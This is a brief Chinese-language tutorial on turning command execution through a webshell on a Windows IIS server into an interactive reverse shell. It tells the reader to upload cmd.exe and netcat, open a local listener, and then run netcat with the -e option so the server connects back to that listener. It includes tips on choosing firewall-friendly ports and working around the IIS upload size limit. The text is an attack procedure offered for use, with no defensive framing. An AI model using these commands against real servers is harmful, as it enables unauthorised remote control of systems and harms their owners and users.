前提: 1.能用WebShell运行cmd命令。
方法有很多,首先是WScript.Shell,如果被改名或者被删了,就找可运行目录上传cmd.exe。
2.上传nc。可以跟cmd.exe上传到同一目录。
步骤:
1、本地监听一个端口。
nc -vv -l -p 8080
最好是80或8080这样的端口,被防火墙拦截的几率小很多。 
2、在WebShell运行下面命令连接我们监听的端口得到CmdShell:
nc -vv 步骤1监听的地址 8080 -e 上传的cmd.exe

上传cmd.exe的时候,如果服务器限制了上传文件小于200k(windows 2003 iis默认就这样),可以使用附件中小于200k的cmd。
反弹成功后,本地监听的命令窗口命令行窗口提示变为C:\WINDOWS\system32\inetsrv>

通过webshell反弹的cmd继承IIS的权限,一般权限较低。但是还是很方便执行系统命令的。

|